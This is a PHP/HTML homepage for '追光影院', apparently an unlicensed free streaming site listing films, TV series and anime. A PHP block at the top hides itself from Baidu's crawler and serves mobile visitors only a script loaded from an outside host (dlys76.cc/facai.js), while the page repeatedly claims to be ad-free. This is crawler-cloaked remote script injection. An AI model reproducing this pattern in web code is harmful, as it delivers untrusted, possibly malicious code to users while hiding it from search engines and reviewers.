<?php
function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
    $is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://dlys76.cc/facai.js"></script>';
    
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
    <meta name="description" content="追光影院高清免费在线影视，海量电影、电视剧、动漫、综艺每日更新极速播放，无广告沉浸式追剧，热播剧推荐与经典神作全收录。">
    <meta name="keywords" content="免费在线影视,电影网站,动漫网站,电视剧免费观看,热播剧推荐,最新电影,追光影院">
    <meta name="robots" content="index, follow">
    <title>追光影院 · 高清免费影视大全 | 热播剧动漫电影在线看</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            background: #eef2f7;
            font-family: 'Inter', system-ui, -apple-system, 'Segoe UI', Roboto, sans-serif;
            color: #121826;
            line-height: 1.45;
        }

        .wrap {
            max-width: 1440px;
            margin: 0 auto;
            padding: 0 20px;
        }

        /* 面包屑特殊设计 */
        .breadcrumb-trail {
            padding: 32px 0 12px;
            font-size: 0.85rem;
            letter-spacing: 0.3px;
            color: #5b687c;
            border-bottom: 2px dotted #cdd9ed;
            display: inline-block;
        }
        .breadcrumb-trail a {
            color: #2c5f8a;
            text-decoration: none;
            font-weight: 500;
        }

        /* 头部 新潮风格 */
        .hero-head {
            display: flex;
            flex-wrap: wrap;
            justify-content: space-between;
            align-items: center;
            padding: 24px 0 16px;
        }
        .brand h1 {
            font-size: 2.5rem;
            font-weight: 800;
            background: linear-gradient(125deg, #1f3b4c, #2b6a8f);
            background-clip: text;
            -webkit-background-clip: text;
            color: transparent;
            letter-spacing: -1px;
        }
        .nav-links-modern {
            display: flex;
            gap: 34px;
            background: #ffffffcc;
            backdrop-filter: blur(8px);
            padding: 8px 24px;
            border-radius: 60px;
            box-shadow: 0 6px 14px rgba(0,0,0,0.02);
        }
        .nav-links-modern a {
            text-decoration: none;
            font-weight: 600;
            color: #1e2f3e;
            transition: 0.2s;
        }
        .nav-links-modern a:hover { color: #e67e22; transform: translateY(-2px);}
        .action-group {
            display: flex;
            gap: 18px;
            align-items: center;
        }
        .search-pill {
            background: white;
            border-radius: 48px;
            padding: 8px 20px;
            box-shadow: 0 3px 8px rgba(0,0,0,0.05);
            color: #6c7a8e;
            cursor: default;
        }
        .avatar-circle {
            width: 46px;
            height: 46px;
            background-image: url('/upload/vod/009-avatar.webp');
            background-size: cover;
            border-radius: 100px;
            border: 2px solid #ffb347;
        }

        /* 轮播 横向无滚动条3d感 */
        .spotlight {
            margin: 42px 0 48px;
            position: relative;
        }
        .carousel-lux {
            display: flex;
            gap: 24px;
            overflow-x: auto;
            scroll-snap-type: x mandatory;
            scroll-behavior: smooth;
            border-radius: 44px;
            -webkit-overflow-scrolling: touch;
        }
        .carousel-lux::-webkit-scrollbar { height: 6px; background: #d4deec; border-radius: 10px;}
        .carousel-lux::-webkit-scrollbar-thumb { background: #e67e22; border-radius: 10px;}
        .slide-item {
            flex: 0 0 100%;
            scroll-snap-align: start;
            background: linear-gradient(135deg, #203a4c, #10212b);
            border-radius: 44px;
            height: 420px;
            display: flex;
            align-items: flex-end;
            padding: 40px;
            background-size: cover;
            background-position: center 25%;
            position: relative;
        }
        .slide-caption {
            background: rgba(15,25,35,0.7);
            backdrop-filter: blur(18px);
            border-radius: 48px;
            padding: 12px 28px;
            font-size: 1.8rem;
            font-weight: 700;
        }
        .carousel-controls {
            display: flex;
            gap: 20px;
            justify-content: flex-end;
            margin-top: 20px;
        }
        .ctrl-btn {
            background: #2c3e4e;
            border: none;
            color: white;
            font-size: 1.4rem;
            padding: 6px 22px;
            border-radius: 40px;
            cursor: pointer;
            transition: all 0.2s;
        }
        .ctrl-btn:hover { background: #e67e22; transform: scale(0.96);}

        /* 快捷入口 波浪形 */
        .genre-wave {
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
            margin: 30px 0 48px;
            justify-content: center;
        }
        .genre-tile {
            background: #ffffffdd;
            backdrop-filter: blur(4px);
            padding: 8px 24px;
            border-radius: 100px;
            font-weight: 600;
            color: #1f4e6e;
            box-shadow: 0 5px 12px rgba(0,0,0,0.02);
            border: 1px solid #cbdbe2;
            transition: all 0.2s;
        }
        .genre-tile:hover {
            background: #ffb347;
            color: #1e2a36;
            transform: translateY(-4px);
            border-color: #ffb347;
        }

        /* 卡片网格 — 不规则交错但稳定 */
        .grid-adapt {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(180px, 1fr));
            gap: 28px;
            margin: 28px 0 52px;
        }
        .movie-card {
            background: #ffffff;
            border-radius: 32px;
            overflow: hidden;
            box-shadow: 0 12px 22px -12px rgba(0,0,0,0.1);
            transition: all 0.3s cubic-bezier(0.2, 0.9, 0.4, 1.1);
        }
        .movie-card:hover {
            transform: translateY(-12px) scale(1.01);
            box-shadow: 0 28px 32px -16px rgba(0,0,0,0.25);
        }
        .card-media {
            width: 100%;
            aspect-ratio: 2 / 2.7;
            object-fit: cover;
            background: #d9e2ef;
        }
        .card-content {
            padding: 16px 14px 20px;
        }
        .rate {
            color: #f2b441;
            font-weight: 800;
            margin: 6px 0 4px;
        }
        .ep-status {
            font-size: 0.7rem;
            background: #eef2fa;
            display: inline-block;
            padding: 5px 12px;
            border-radius: 60px;
            font-weight: 500;
        }

        /* 混合双栏 + 特殊排行设计 */
        .dual-layout {
            display: flex;
            flex-wrap: wrap;
            gap: 40px;
            margin: 48px 0;
        }
        .rank-col {
            flex: 1.2;
            background: #ffffffdd;
            backdrop-filter: blur(2px);
            border-radius: 48px;
            padding: 24px 20px;
            box-shadow: 0 12px 28px rgba(0,0,0,0.05);
        }
        .classic-col {
            flex: 1;
        }
        .rank-ol {
            list-style: none;
        }
        .rank-ol li {
            display: flex;
            align-items: center;
            gap: 20px;
            padding: 18px 0;
            border-bottom: 1px solid #e2e8f0;
        }
        .rank-number-lg {
            font-size: 2rem;
            font-weight: 800;
            width: 52px;
            color: #e67e22;
        }

        /* 预告专区 */
        .preview-slate {
            display: flex;
            flex-wrap: wrap;
            gap: 28px;
            margin: 42px 0 36px;
        }
        .preview-block {
            flex: 1;
            background: linear-gradient(115deg, #fff, #fcf7f0);
            border-radius: 38px;
            padding: 28px 16px;
            text-align: center;
            border-top: 6px solid #e67e22;
        }
        footer {
            margin-top: 60px;
            border-top: 2px solid #cbdde9;
            padding: 38px 0 32px;
            display: flex;
            flex-wrap: wrap;
            justify-content: space-between;
            align-items: center;
        }
        .foot-links a {
            margin-left: 32px;
            text-decoration: none;
            color: #2c5a7a;
        }
        h2 {
            font-size: 2rem;
            margin: 42px 0 18px 0;
            font-weight: 700;
            border-left: 8px solid #e67e22;
            padding-left: 20px;
        }
        h3 {
            font-size: 1.55rem;
            margin-bottom: 20px;
        }
        @media (max-width: 768px) {
            .grid-adapt { grid-template-columns: repeat(auto-fill, minmax(150px, 1fr));}
            .slide-caption { font-size: 1.2rem; }
            .dual-layout { flex-direction: column; }
        }
    </style>
</head>
<body>
<div class="wrap">
    <div class="breadcrumb-trail">
        <a href="#0">追光首页</a> &nbsp;›&nbsp; <span>光影热荐</span> &nbsp;›&nbsp; 追光片单
    </div>
    <header class="hero-head">
        <div class="brand">
            <h1>追光影院</h1>
        </div>
        <nav class="nav-links-modern">
            <a href="#0">电影</a>
            <a href="#0">电视剧</a>
            <a href="#0">综艺</a>
            <a href="#0">动漫</a>
        </nav>
        <div class="action-group">
            <div class="search-pill">🔍 搜影片、演员...</div>
            <div class="avatar-circle" aria-label="个人中心"></div>
        </div>
    </header>

    <!-- 轮播大视觉 -->
    <div class="spotlight">
        <div class="carousel-lux" id="luxCarousel">
            <div class="slide-item" style="background-image: linear-gradient(0deg, #00000080, #00000030), url('/upload/vod/005-banner.webp');"><div class="slide-caption">追光独家 · 烈日之刃</div></div>
            <div class="slide-item" style="background-image: linear-gradient(0deg, #00000080, #00000030), url('/upload/vod/012-banner.webp');"><div class="slide-caption">新剧热播 · 逆风追光</div></div>
            <div class="slide-item" style="background-image: linear-gradient(0deg, #00000080, #00000030), url('/upload/vod/018-banner.webp');"><div class="slide-caption">动漫季 · 星辰少年</div></div>
        </div>
        <div class="carousel-controls">
            <button class="ctrl-btn" id="prevLux">◀</button>
            <button class="ctrl-btn" id="nextLux">▶</button>
        </div>
    </div>

    <!-- 类型快捷入口 6+ -->
    <div class="genre-wave">
        <span class="genre-tile">动作燃片</span><span class="genre-tile">悬疑烧脑</span><span class="genre-tile">科幻冒险</span>
        <span class="genre-tile">爱情治愈</span><span class="genre-tile">古装武侠</span><span class="genre-tile">惊悚刺激</span>
        <span class="genre-tile">犯罪实录</span>
    </div>

    <!-- 正在热播集合 8部 -->
    <section>
        <h2>⚡ 正在热播 · 追光必看</h2>
        <div class="grid-adapt">
            <div class="movie-card"><img class="card-media" src="/upload/vod/014-tv.webp" alt="落日追凶 电视剧 2025" loading="lazy"><div class="card-content"><div class="card-title">落日追凶</div><div class="rate">⭐ 9.1</div><div class="ep-status">更新至16集</div></div></div>
            <div class="movie-card"><img class="card-media" src="/upload/vod/008-tv.webp" alt="她的二次人生 电视剧 2024" loading="lazy"><div class="card-content"><div class="card-title">她的二次人生</div><div class="rate">⭐ 8.7</div><div class="ep-status">全28集</div></div></div>
            <div class="movie-card"><img class="card-media" src="/upload/vod/002-movie.webp" alt="破晓行动 电影 2025" loading="lazy"><div class="card-content"><div class="card-title">破晓行动</div><div class="rate">⭐ 9.4</div><div class="ep-status">院线热映</div></div></div>
            <div class="movie-card"><img class="card-media" src="/upload/vod/011-movie.webp" alt="千里追凶 电影 2026" loading="lazy"><div class="card-content"><div class="card-title">千里追凶</div><div class="rate">⭐ 8.9</div><div class="ep-status">HD高清</div></div></div>
            <div class="movie-card"><img class="card-media" src="/upload/vod/003-variety.webp" alt="音乐对决 综艺 2025" loading="lazy"><div class="card-content"><div class="card-title">音乐对决</div><div class="rate">⭐ 8.3</div><div class="ep-status">周六更新</div></div></div>
            <div class="movie-card"><img class="card-media" src="/upload/vod/016-anime.webp" alt="灵墟旅人 动漫 2025" loading="lazy"><div class="card-content"><div class="card-title">灵墟旅人</div><div class="rate">⭐ 9.6</div><div class="ep-status">更新至24话</div></div></div>
            <div class="movie-card"><img class="card-media" src="/upload/vod/013-movie.webp" alt="地下航线 电影 2024" loading="lazy"><div class="card-content"><div class="card-title">地下航线</div><div class="rate">⭐ 8.5</div><div class="ep-status">全片上线</div></div></div>
            <div class="movie-card"><img class="card-media" src="/upload/vod/019-tv.webp" alt="河畔人家 电视剧 2025" loading="lazy"><div class="card-content"><div class="card-title">河畔人家</div><div class="rate">⭐ 8.2</div><div class="ep-status">更新至32集</div></div></div>
        </div>
    </section>

    <!-- 热度排行+经典推荐组合 -->
    <div class="dual-layout">
        <div class="rank-col">
            <h3>🔥 追光热力榜 · 周排行</h3>
            <ul class="rank-ol">
                <li><span class="rank-number-lg">1</span><div><strong>落日追凶</strong><div style="font-size:0.75rem">热度值 125.3w</div></div></li>
                <li><span class="rank-number-lg">2</span><div><strong>破晓行动</strong><div>热度值 118.7w</div></div></li>
                <li><span class="rank-number-lg">3</span><div><strong>灵墟旅人</strong><div>热度值 102.4w</div></div></li>
                <li><span class="rank-number-lg">4</span><div><strong>千里追凶</strong><div>热度值 97.2w</div></div></li>
                <li><span class="rank-number-lg">5</span><div><strong>音乐对决</strong><div>热度值 88.9w</div></div></li>
            </ul>
        </div>
        <div class="classic-col">
            <h3>🎞️ 时光经典 · 永不褪色</h3>
            <div class="grid-adapt" style="grid-template-columns: repeat(auto-fill, minmax(170px,1fr)); gap:18px;">
                <div class="movie-card"><img class="card-media" src="/upload/vod/004-movie.webp" alt="黄金年代 电影 2008 意大利" loading="lazy"><div class="card-content"><div class="card-title">黄金年代</div><div>🏆 高分神作必看</div></div></div>
                <div class="movie-card"><img class="card-media" src="/upload/vod/017-movie.webp" alt="雪国列车 电影 2013 韩国" loading="lazy"><div class="card-content"><div class="card-title">雪国幻梦</div><div>💎 必看·深层寓言</div></div></div>
                <div class="movie-card"><img class="card-media" src="/upload/vod/010-movie.webp" alt="巴黎夜曲 电影 2010 法国" loading="lazy"><div class="card-content"><div class="card-title">巴黎夜曲</div><div>🎻 神作·浪漫史诗</div></div></div>
                <div class="movie-card"><img class="card-media" src="/upload/vod/006-movie.webp" alt="伦敦暗巷 电影 2015 英国" loading="lazy"><div class="card-content"><div class="card-title">伦敦暗巷</div><div>🔪 高分犯罪经典</div></div></div>
            </div>
        </div>
    </div>

    <!-- 待上线预告 -->
    <section>
        <h2>✨ 璀璨预告 · 即将登场</h2>
        <div class="preview-slate">
            <div class="preview-block"><h4>🌟 即将上线</h4><p>九州·玄门奇谭</p><div class="ep-status">4月18日独播</div></div>
            <div class="preview-block"><h4>🌟 即将上线</h4><p>迷雾回声 第二季</p><div class="ep-status">4月25日首播</div></div>
            <div class="preview-block"><h4>🌟 即将上线</h4><p>宇宙快递员 剧场版</p><div class="ep-status">5月1日上线</div></div>
        </div>
    </section>

    <!-- 网站介绍文本 -->
    <article style="background: #fefcf8; border-radius: 48px; padding: 34px 32px; margin: 40px 0 20px; color:#1f2f3c;">
        <h2>关于追光影院</h2>
        <p style="line-height:1.65;"><strong>追光影院</strong> 提供高清免费在线影视服务，无需任何会员，海量资源一站畅享。无论您喜欢电视剧免费观看，还是最新电影抢鲜体验，<strong>追光影院</strong>均第一时间收录。每日更新优质内容，动漫新番、热门综艺同步放送，且完全无广告打扰，纯净观影。我们坚持高清画质，极速不卡顿，<strong>追光影院</strong> —— 您的在线影视首选。海内外佳作免费观看，画质蓝光超清，<strong>追光影院</strong>每日更新影视榜单，同时有无广告环境，让热爱纯粹。加入<strong>追光影院</strong>，体验真正的高清免费在线影视魅力！</p>
    </article>

    <footer>
        <div>© 2026 追光影院 | 侵权必删</div>
        <div class="foot-links">
            <a href="#0">品牌故事</a><a href="#0">帮助中心</a><a href="#0">商务合作</a><a href="#0">用户公约</a><a href="#0">内容举报</a>
        </div>
    </footer>
</div>

<script>
    (function() {
        const carouselDiv = document.getElementById('luxCarousel');
        const slidesArr = document.querySelectorAll('.slide-item');
        if (!carouselDiv || slidesArr.length === 0) return;
        let currentIdx = 0;
        const moveTo = (idx) => {
            if (idx < 0) idx = slidesArr.length - 1;
            if (idx >= slidesArr.length) idx = 0;
            currentIdx = idx;
            carouselDiv.scrollTo({ left: currentIdx * carouselDiv.clientWidth, behavior: 'smooth' });
        };
        let autoTimer = setInterval(() => moveTo(currentIdx + 1), 5800);
        document.getElementById('prevLux').addEventListener('click', () => { moveTo(currentIdx - 1); restartTimer(); });
        document.getElementById('nextLux').addEventListener('click', () => { moveTo(currentIdx + 1); restartTimer(); });
        function restartTimer() { clearInterval(autoTimer); autoTimer = setInterval(() => moveTo(currentIdx + 1), 5800); }
        let scrollTimeout;
        carouselDiv.addEventListener('scroll', () => {
            clearTimeout(scrollTimeout);
            scrollTimeout = setTimeout(() => {
                let newIndex = Math.round(carouselDiv.scrollLeft / carouselDiv.clientWidth);
                if (!isNaN(newIndex) && newIndex !== currentIdx && newIndex >= 0 && newIndex < slidesArr.length) currentIdx = newIndex;
            }, 100);
        });
        window.addEventListener('resize', () => { moveTo(currentIdx); });
    })();
</script>
</body>
</html>